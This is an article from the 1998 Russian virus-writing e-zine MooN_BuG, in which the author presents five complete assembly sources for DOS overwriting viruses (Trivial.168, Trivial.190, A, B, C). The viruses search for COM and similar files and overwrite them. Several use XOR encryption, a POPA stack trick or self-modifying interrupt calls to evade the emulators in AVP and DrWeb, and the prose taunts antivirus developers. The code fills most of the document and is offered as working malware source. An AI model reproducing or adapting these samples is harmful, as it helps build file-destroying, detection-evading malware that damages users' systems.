[TulaAnti&ViralClub] PRESENTS ...
MooN_BuG, Issue 7, Sep 1998                                           file 00C

                       Поимейте эмуляторы (Kiss my Ass)
                                                   by RedArc

     Оказывается,   что   кроме  общеизвестных  дыр  в  эмуляторах,  указанных
Reminder,  существует  еще  туева  хуча.  Причем,  это ни какие то специальные
навороты,  а  просто  "нестандартное"  использование  команд.  Например,  если
COM-программа  начинается с команды popa, то значение регистра SP изменяется с
0FFFEh  на  очень  маленькое,  т.е.  значение благополучно перескакивает через
параграф  памяти. Эту фичу почему то наши доблестные антивирусы не замечают. И
хотя  на  момент  выпуска  этого  журнала  нижеприведенные  тривиалы  таки AVP
детектирует,  но  прием  противодействия  эмуляторам остается в силе. Основным
здесь  является  то,  что  новое значение SP нужно просто заюзать где-нибудь в
смещениях декриптора. Так что это не просто POPA, а самая что ни наесть Ж@#А..

=== Cut ===                                                        Trivial.168
Model Tiny
.code
.286
org 100h
start:
       popa
       cld
       mov di,sp
       mov si,NewBeg
       add di,0f2h
       mov cx,NewBegLen
       rep movsb
       mov al,byte ptr ds:[di-1]
       sub al,4fh
       mov byte ptr ds:[di-1],al
       mov si,Return
       mov cx,MyLength / 2 + 1
       mov di,si
       jmp cs:[JUMP]
JUMP equ $-start + 100h
       dw 100h
NewBeg equ $-start + 100h
@@1:
       lodsw
       xor ax,0ffffh
       stosw
       loop @@1
       jmp short lbl
NewBegLen equ $-@@1

Return equ $-start + 100h
       mov sp,0fffeh
       mov di,100h
       push di
       mov si,OldBeg
       mov cx,OldBegLen
       rep movsb
CreateNewVir:
       pop si
       mov di,MyLength + 200h
       push di
       mov cx,di
       rep movsb
       pop si
       add si,Return-100h
       mov di,si
       mov cx, MyLength / 2 + 1
       jmp @@1
@@3:
       mov ah,4eh
       mov cx,0feh
       mov dx,MaskFile
Interrupt:
       int 21h
       jb NotFile
       jmp short Plague
NotFile:
       mov ah,09h
       mov dx,MSG
       int 21h
       mov ax,4c00h
       int 21h
Plague:
       mov ax,3d02h
       mov dx,9eh
       int 21h
       xchg ax,bx
       mov ah,40h
       mov dx,MyLength + 200h
       mov cx,MyLength + 2
       int 21h
       mov ah,3eh
       int 21h
       mov ah,4fh
       jmp short Interrupt
OldBeg equ $-start + 100h
@@2:
       popa
       cld
       mov di,sp
       mov si,NewBeg
       add di,0f2h
       mov cx,NewBegLen
OldBegLen equ $-@@2
MaskFile equ $-start + 100h
db '*.c??',0h
MSG equ $-start + 100h
db 0ah,0dh,'I here!','$'
MyLength equ $-start
lbl:
   jmp @@3
end start
=== Cut ===

=== Cut ===                                                        Trivial.190
Model Tiny
.code
.286
jumps
org 100h
start:
       popa
       mov di,sp
       mov bx,di
       mov si,JUMP
       lodsw
       stosw
       lodsb
       stosb
       add sp,4
       pop ax
       mov ax,bx
       push ax
       ret
MSG equ $-start+100h
db 0h,'Данилов - лох! DrWeb - горбуша!','$'
FileMask equ $-start+100h
db '*.??m',0h
stlen equ $-start
EntryPoint:
       mov sp,0fffeh
       mov si,word ptr ds:[JUMP+1]
       mov cx,CryptLen / 2
       add si,NewBeg + 17
       push si
       mov bx,sp
       mov di,si
@@1:
       lodsw
       xor ax,bx
       stosw
       loop @@1
NewBeg equ $-EntryPoint
Crypt:
       mov ah,4eh
       mov cx,0fh
       mov dx,FileMask
Interrupt:
       int 21h
       jb NotFound
       jmp short Infect
NotFound:
       pop si
       mov ah,09h
       mov dx,MSG
       int 21h
       mov ax,4c00h
       int 21h
Infect:
       mov ax,3d02h
       mov dx,9eh
       int 21h
       xchg ax,bx
       mov si,WriteOfs
       mov di,MyLength+100h
       mov cx,WriteLen
       rep movsb
       call lbl0
WriteOfs equ $-start + 100h
Write:
       pop ax
       pop si
       add ax,WriteLen
       push si
       push ax
       call Crypt1
       mov ah,40h
       sub dx,dx
       inc dh
       mov cx,MyLength
       int 21h
       pop ax
       pop si
       push si
       push ax
       call Crypt1
       ret
Crypt1:
       push bx
       mov bx,0fffch
       mov di,si
       mov cx,CryptLen / 2
@@2:
       lodsw
       xor ax,bx
       stosw
       loop @@2
       pop bx
       ret
;---

WriteLen equ $-Write
       mov ah,3eh
       int 21h
       mov ah,4fh
       jmp Interrupt
CryptLen equ $-Crypt
JUMP equ $-start + 100h
jmp lbl
MyLength equ $-start
lbl0:
db (100h-0eh) + stlen - 3 dup (?)
lbl:
end start
=== Cut ===

     Едем  дальше.  Один  товарищ  попросил  вирусов... ну это обычное дело...
только  вот  вирусов необычных - без байта 00h в тушке. Писать чего то большое
ради такого дела - скучно. Дай, думаю, накропаю тривиал. А для тривиала маска,
хочешь не хочешь, должна заканчиваться этим самым байтом. Ну ладно, пусть себе
заканчивается.  Дай думаю ее в стек уберу. Убрал. Получилось. И тут я вспомнил
предыдущую фичу с POPA.

=== Cut ===                                                              A.ASM
seg_a           segment byte public
                assume  cs:seg_a, ds:seg_a

                org     100h
a               proc    far
start:
                mov     al,6Dh                  ; 'm'
                push    ax
                mov     ax,6F63h
                push    ax
                mov     ax,2E2Ah
                push    ax
                mov     dx,sp
                mov     ah,4Eh                  ; 'N'
                mov     cx,0FFFFh
loc_1:                                          ;  xref 3CAC:0132
                int     21h                     ; DOS Services  ah=function 4Fh
                                                ;  find next filename match
                jc      loc_ret_2               ; Jump if carry Set
                mov     ax,3D02h
                xor     dx,dx                   ; Zero register
                mov     dl,9Eh
                int     21h                     ; DOS Services  ah=function 3Dh
                                                ;  open file, al=mode,name@ds:dx
                xchg    bx,ax
                mov     ah,40h                  ; '@'
                sub     dx,dx
                inc     dh
                xor     cx,cx                   ; Zero register
                mov     cl,35h                  ; '5'
                int     21h                     ; DOS Services  ah=function 40h
                                                ;  write file  bx=file handle
                                                ;   cx=bytes from ds:dx buffer
                mov     ah,3Eh
                int     21h                     ; DOS Services  ah=function 3Eh
                                                ;  close file, bx=file handle
                mov     ah,4Fh                  ; 'O'
                jmp     short loc_1             ; (0112)
loc_ret_2:                                      ;  xref 3CAC:0114
                retn
a               endp
seg_a           ends
                end     start
=== Cut ===

     Таки  повторять  уже известное не очень то интересно. Решил я поиграть со
стеком - авось да чего-нибудь получится... Получилось. Как ни странно. Из чего
я  делаю  простой  вывод  - состояние эмуляторов в отечественных антивирусах -
удручающее.  Возможно  оно  такое же и в забугорных. Не проверял... Но уж если
старенький  добрый  соурцер  так  элеганто  прокомментировал этих зверушек, то
вирусологам остается только упиться с горя... ;-)

=== Cut ===                                                              B.ASM
seg_a           segment byte public
                assume  cs:seg_a, ds:seg_a
                org     100h
b               proc    far
start:
                push    ax
                mov     al,6Dh                  ; 'm'
                push    ax
                mov     ax,6F63h
                push    ax
                mov     ax,2E2Ah
                push    ax
                mov     dx,sp
                mov     ax,si
                sub     ax,cx
                xchg    bx,ax
                dec     cx
                mov     ax,si
                sub     ax,cx
                add     ax,bx
                mov     cx,bp
                push    cx
                xor     ch,ch                   ; Zero register
                add     ax,cx
                mov     cx,si
                xor     bx,bx                   ; Zero register
                mov     bl,33h                  ; '3'
                sub     cx,bx
                xchg    cl,ah
                mov     di,140h                 ; (3CAC:0140=0CDh)
                xchg    ah,al
                stosw                           ; Store ax to es:[di]
                mov     di,14Bh                 ; (3CAC:014B=0CDh)
                stosw                           ; Store ax to es:[di]
                mov     di,158h                 ; (3CAC:0158=0CDh)
                stosw                           ; Store ax to es:[di]
                mov     di,15Ch                 ; (3CAC:015C=0CDh)
                stosw                           ; Store ax to es:[di]
                pop     cx
                mov     ah,4Eh
loc_1:                                          ;  xref 3CAC:0160
                int     21h                     ; DOS Services  ah=function 4Fh
                                                ;  find next filename match
                jc      loc_ret_2               ; Jump if carry Set
                mov     ax,3D02h
                sub     dx,dx
                mov     dl,9Eh
                int     21h                     ; DOS Services  ah=function 3Dh
                                                ;  open file, al=mode,name@ds:dx
                xchg    bx,ax
                mov     ah,40h                  ; '@'
                sub     dx,dx
                inc     dh
                xor     cx,cx                   ; Zero register
                mov     cl,63h                  ; 'c'
                int     21h                     ; DOS Services  ah=function 40h
                                                ;  write file  bx=file handle
                                                ;   cx=bytes from ds:dx buffer
                mov     ah,3Eh
                int     21h                     ; DOS Services  ah=function 3Eh
                                                ;  close file, bx=file handle
                mov     ah,4Fh                  ; 'O'
                jmp     short loc_1             ; (0140)
loc_ret_2:                                      ;  xref 3CAC:0142
                retn
b               endp
seg_a           ends
                end     start
=== Cut ===

     А  в  заключении  хочу  сказать вирусологам - программировать лучше надо,
лучше...  или  чаще? ;-) Гонка за кошельком пользователя конечно дело хорошее,
но так ведь можно знаете до чего дойти?

=== Cut ===                                                              C.ASM
seg_a           segment byte public
                assume  cs:seg_a, ds:seg_a
                org     100h
c               proc    far
start:
                push    ax
                mov     al,6Dh                  ; 'm'
                push    ax
                mov     ax,6F63h
                push    ax
                mov     ax,2E2Ah
                push    ax
                mov     dx,sp
                mov     ax,si
                sub     ax,cx
                xchg    bx,ax
                dec     cx
                mov     ax,si
                sub     ax,cx
                add     ax,bx
                mov     cx,bp
                push    cx
                xor     ch,ch                   ; Zero register
                add     ax,cx
                mov     cx,si
                xor     bx,bx                   ; Zero register
                mov     bl,33h                  ; '3'
                sub     cx,bx
                xchg    cl,ah
                mov     di,142h                 ; (3CAC:0142=0CDh)
                xchg    ah,al
                stosw                           ; Store ax to es:[di]
                mov     di,152h                 ; (3CAC:0152=0CDh)
                stosw                           ; Store ax to es:[di]
                mov     di,161h                 ; (3CAC:0161=0CDh)
                stosw                           ; Store ax to es:[di]
                mov     di,167h                 ; (3CAC:0167=0CDh)
                stosw                           ; Store ax to es:[di]
                pop     cx
                mov     ah,4Dh                  ; 'M'
                inc     ah
loc_1:                                          ;  xref 3CAC:016D
                int     21h                     ; DOS Services  ah=function 4Fh
                                                ;  find next filename match
                jc      loc_ret_2               ; Jump if carry Set
                mov     ax,3C01h
                sub     dx,dx
                inc     ah
                mov     dl,9Fh
                inc     al
                dec     dx
                int     21h                     ; DOS Services  ah=function 3Dh
                                                ;  open file, al=mode,name@ds:dx
                xchg    bx,ax
                mov     ah,41h                  ; 'A'
                sub     dx,dx
                dec     ah
                inc     dh
                xor     cx,cx                   ; Zero register
                mov     cl,70h                  ; 'p'
                int     21h                     ; DOS Services  ah=function 40h
                                                ;  write file  bx=file handle
                                                ;   cx=bytes from ds:dx buffer
                mov     ah,3Fh                  ; '?'
                dec     ah
                int     21h                     ; DOS Services  ah=function 3Eh
                                                ;  close file, bx=file handle
                mov     ah,50h                  ; 'P'
                dec     ah
                jmp     short loc_1             ; (0142)
loc_ret_2:                                      ;  xref 3CAC:0144
                retn
c               endp
seg_a           ends
                end     start
=== Cut ===